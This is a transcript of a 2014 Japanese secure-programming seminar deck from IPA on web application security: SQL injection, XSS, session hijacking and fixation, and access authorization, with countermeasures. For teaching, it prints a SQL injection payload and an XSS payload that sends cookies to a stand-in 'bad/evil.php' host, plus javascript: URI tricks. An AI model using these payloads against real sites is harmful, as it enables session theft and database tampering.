『セキュア・プログラミング講座sql注入対策...
TRANSCRIPT
![Page 1: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/1.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
『セキュア・プログラミング講座
(Webアプリケーション編)』 ブートアップセミナー
技術本部 セキュリティセンター
企画グループ
1
![Page 2: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/2.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
アジェンダ
1. Webアプリケーションの概念
2. SQL注入
3. スクリプト注入(XSS)
4. セッションメカニズムとユーザ認証についての基礎
5. セッションハイジャック
6. セッションフィクセーション
7. アクセス認可の実装
8. 他の論点の学習方法
2
![Page 3: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/3.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
1. Webアプリケーションの概念
3
![Page 4: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/4.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
『セキュアプログラミング講座』
4
![Page 5: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/5.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
Webアプリケーション
5
![Page 6: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/6.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
使われるプログラミング言語の例
6
![Page 7: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/7.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
攻撃は通信から入ってくる
7
![Page 8: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/8.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTPプロトコルについて知ろう
8
![Page 9: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/9.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTPの通信を観察する
9
![Page 10: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/10.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTP通信の観察 : 例えばこのページ
10
引用:独立行政法人情報処理推進機構のホームページ http://www.ipa.go.jp/
![Page 11: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/11.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
(※ 簡略化のため、正確さを犠牲にしているところがあります。以下同様。)
HTTP リクエスト
11
![Page 12: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/12.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTP レスポンス
12
![Page 13: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/13.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
引用:日本郵便株式会社のホームページ http://www.post.japanpost.jp/
サーバへ値を送る : POSTメソッド
13
![Page 14: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/14.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTP リクエスト
パラメータ群
POST メソッド
14
![Page 15: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/15.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTP レスポンス
検索結果
15
![Page 16: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/16.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
舞台裏は単純なテキストのやり取り
16
![Page 17: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/17.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
Webアプリケーション
• ブラウザ ⇔ サーバ側プログラム
• 攻撃は、両者の間の通信から入ってくる
HTTPプロトコル
• リクエスト と レスポンス
• ローカルプロキシによる観察
• 舞台裏は単純なテキストのやり取り
• GETメソッド と POSTメソッド
Webアプリケーションの概念・まとめ
17
![Page 18: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/18.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
2. SQL注入
18
![Page 19: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/19.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
攻撃の流れ – SQL注入
19
![Page 20: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/20.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
SQL注入の被害
情報流出
• DBテーブル内容を読み出される
• DB定義(テーブル名、カラム名)を知られる
• 稼働しているRDBMSの種類やバージョンを知られる
情報改ざん
• DBテーブルの内容を不正に更新される
データ破壊
• DBテーブルの中を無意味なデータで塗りつぶされる
サーバ乗っ取り
• サーバコンピュータを遠隔から操られる → 何でもあり
20
![Page 21: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/21.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
攻撃のメカニズム – SQL注入
プログラマが用意したSQL文のかたち
update tbl set pass='xxx' where user='yyy' and pass='zzz'
zzz ← ' or 'a'='a
update tbl set pass='xxx'
where user='yyy' and pass=' ' or 'a'='a '
21
攻撃者が与えるデータの例
想定外のSQL文が実行される → DB改ざん
+)
![Page 22: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/22.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
テーブルの改ざん
パスワードのカラムが
22
すべて書き換わる
![Page 23: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/23.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
悪さをする特殊記号
「'」
• 文字列を囲む記号
「;」 (Microsoft SQL Server, PostgreSQL等)
• 複数のSQL文を区切るための記号
「--」
• コメントの記号。この記号から先は無視される
「¥」 (MySQL, PostgreSQL等)
• 特殊記号の意味を無くしたり、特別な文字を定義する記号
23
![Page 24: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/24.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
SQL注入対策
SQL文の発行を半自動化してくれる道具を使う
よい道具
• O/Rマッパ
• 言語に統合されたクエリ (LINQ、PL/SQL)
• プリペアド・ステートメント
次善の策
• 特殊記号をエスケープしてくれるAPI (quote等)
24
![Page 25: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/25.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
O/Rマッパ
25
![Page 26: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/26.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
O/Rマッパの例
26
フレームワーク O/Rマッパ
Ruby on Rails ActiveRecord (付属)
Grails GORM (付属)
CakePHP Modelクラス階層 (付属)
Spring
別製品:
・Hibernate
・S2JDBC 等
![Page 27: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/27.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
SQL注入・まとめ
SQL文を発行してデータベースへアクセスする箇所の問題
部外者にデータベースを勝手にアクセスされる
対策のポイント
• SQLの「構文」(expression)を、攻撃者にいじられない手段を用いる
• O/Rマッパ、言語統合クエリ、プリペアド・ステートメント等
27
![Page 28: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/28.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
3. スクリプト注入(XSS)
28
![Page 29: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/29.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
スクリプト注入の典型的な攻撃例(XSS)
29
![Page 30: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/30.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
スクリプト注入(XSS)の被害
スクリプト注入(XSS)による偽ページ
• アドレスバーは本物
• 表示はニセモノ
• フィッシング詐欺に悪用されるおそれ
セッション乗っ取り
• Cookieの盗み出し
• Cookieの植え付け
30
![Page 31: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/31.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
<input type="text" name="foo" value=" ">
<script>document.location = "http://bad/evil.php?c=" +
document.cookie</script> ">
攻撃のメカニズム – スクリプト注入
プログラマが計画するWebページ出力
<input type="text" name="foo" value="xxx">
xxx ← "><script>document.location =
"http://bad/evil.php?c=" + document.cookie</script>
31
攻撃者が与えるデータの例
ブラウザを攻撃するスクリプトが動く
+)
![Page 32: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/32.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
値の出力箇所と攻撃パターン
32
![Page 33: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/33.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
対策1: 攻撃者由来の<script>タグを無害化
無害化—「サニタイズ」とも • HTMLページの中に書き出したデータが、タグやスクリプトとして機能しないようにする
方法:特殊記号の置き換え (HTMLエンコード) • < → <
• > → >
• " → "
• ' → '
• & → &
33
![Page 34: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/34.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
対策2: タグのURI属性の無害化
対策: URIスキームを検査する • 「http:」あるいは「https:」で始まるURI文字列のみ許す
href= src= などの属性 <a href="…">
<body background="…">
<img src="…">
<input type="image" src="…">
<meta http-equiv="refresh" content="0;url=…"> 等
次のような形でスクリプトが書けてしまう • href="javascript:document.cookie='…';"
• src="j	avascript:document.location='…';"
• src='vbscript:navigate("http://…")'
34
![Page 35: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/35.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
スクリプト注入のバリエーション
サーバからおうむ返しされる XSS(今回紹介)
蓄積されたデータを経由する スクリプト注入
クライアント側コードに起因する スクリプト注入
35
![Page 36: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/36.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
スクリプト注入・まとめ
サーバ側から値を出力している箇所の問題
ブラウザに悪意のスクリプトが入り込む
対策
• <script>タグの無害化
• タグのURI属性の無害化
36
![Page 37: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/37.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
4. セッションの基礎と
ログインセッション
37
![Page 38: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/38.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTPリクエストが複数エンティティより寄せられる
38
![Page 39: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/39.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
どう見分けるか?
39
![Page 40: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/40.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
「しるし」ごとに文脈を保つ
40
「文脈」=「さっきどこまで話したっけ」
![Page 41: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/41.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションIDを運ぶ手段
41
![Page 42: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/42.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
Set-Cookie: と Cookie:
42
![Page 43: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/43.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
ログインセッション
ログイン状態を維持するセッション • ユーザ認証 (Authentication) との組み合せ
• セッションIDに 「ユーザ認証済み」 の意味をもたせる
アプリケーションにおいて実装する必要性 • 処理系は自動的には面倒をみてくれない
セッションハイジャックの脅威 • セッションIDが攻撃の標的になる
43
![Page 44: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/44.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
HTTPリクエストが複数エンティティから寄せられる
• リクエストに「しるし」を含ませる
• サーバにおいては、「しるし」ごとに文脈を保つ
セッションIDを運ぶ手段
• Cookie / POSTデータ (hidden項目) / URLリライティング
Cookieのためのヘッダ
• Set-Cookie: と Cookie:
ログインセッション
• ユーザ認証 ⇒ セッション機構によってログイン状態を維持
セッション機構とユーザ認証・まとめ
44
![Page 45: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/45.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
5. セッションハイジャック
45
![Page 46: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/46.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションハイジャック – 攻撃の流れ
46
![Page 47: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/47.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションハイジャックの被害
本人のログインセッションへ他人が侵入
本人になりすましたシステム操作
• 情報漏洩
• 金銭被害
• 業務妨害 等
47
![Page 48: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/48.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
ログインセッションの「悪い例」
48
![Page 49: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/49.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションハイジャック対策
「推測」への対抗
• 予測困難なランダム値を使う
• ログイン(ユーザ認証)成功のたびに異なる値を使う
「奪取」への対抗
• TLS を使用する
• Cookieにsecure属性をつける
• Cookieの「寿命」を短めにする
• ログイン成功時にセッションIDを発行し直す
49
![Page 50: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/50.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションハイジャックのポイント
セッションIDの発行と運用にかかわる問題
他者がセッションへ侵入してくる
対策
• 「推測」への対抗
• 「奪取」への対抗
50
![Page 51: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/51.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
6. セッションフィクセーション
(セッションIDのお膳立て)
51
![Page 52: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/52.jpg)
Copyright © 2013 独立行政法人情報処理推進機構
セッションフィクセーション – 攻撃の流れ
52
![Page 53: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/53.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションフィクセーションの被害
セッションハイジャックと同様の被害
本人のログインセッションへ他人が侵入
本人になりすましたシステム操作
• 情報漏洩
• 金銭被害
• 業務妨害 等
53
![Page 54: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/54.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
対策:セッションIDの付け替え
54
![Page 55: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/55.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションフィクセーションのポイント
ユーザのセッションIDは、誰かに
「お膳立て」されたものかもしれない
対策: ログイン成功時にセッションIDを新しくする
55
![Page 56: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/56.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
セッションハイジャック
• 正規ユーザのセッションIDを盗用する
セッションフィクセーション
• 攻撃者が取得したセッションIDを被害者に使わせる
セッションへの干渉・まとめ
56
![Page 57: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/57.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
7. アクセス認可の失敗
57
![Page 58: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/58.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
アクセス認可(Authorization)
の失敗パターン
1. メニューに無いページへアクセスできる
• ページへのリンクをメニュー画面から隠すのみ
2. 他者が所有するデータにアクセスできる
• 各ユーザの所有する情報が連番のキーでアクセスできる
• GET /mydata?id=104
失敗のバリエーション
• 入力パラメータでユーザを識別する
• hidden項目によって権限フラグを受け渡す
• Referer: ヘッダを見て直前のページの妥当性を判断する 58
![Page 59: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/59.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
1. メニューに無いページへアクセスできる
59
![Page 60: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/60.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
2. 他者のデータにアクセスできる
60
![Page 61: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/61.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
1.対策: 各ページに「保護」を置く
61
![Page 62: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/62.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
2.対策: オブジェクトのオーナを確かめる
62
![Page 63: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/63.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
一般化: 要求を遮断できるコードを置く
63
![Page 64: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/64.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
PEP: ポリシー執行ポイント
アクセス制御の執行ポイント
• Policy Enforcement Point
• URIで識別されるすべてのページに設置
• アクセス認可の判定結果を執行
保護すべきWebリソース
• それぞれのWebページ
• 識別番号(ID)を用いてアクセスされる「オブジェクト」
問い(アクセス認可の判定)
• 「いまログインしているユーザは、その対象へアクセスする権限をもつか?」
64
![Page 65: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/65.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
アクセス認可の失敗・まとめ
Webページはどれも直接呼び出せる
オブジェクトIDによる「一本釣り」ができてしまう
対策: PEP • すべてのWebページに「保護」を配置する
• ページへのアクセス権限をユーザはもっているか?
• オブジェクト(パラメータ)へのアクセス権限をユーザはもっているか?
65
![Page 66: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/66.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
8. 他の論点の学習方法
66
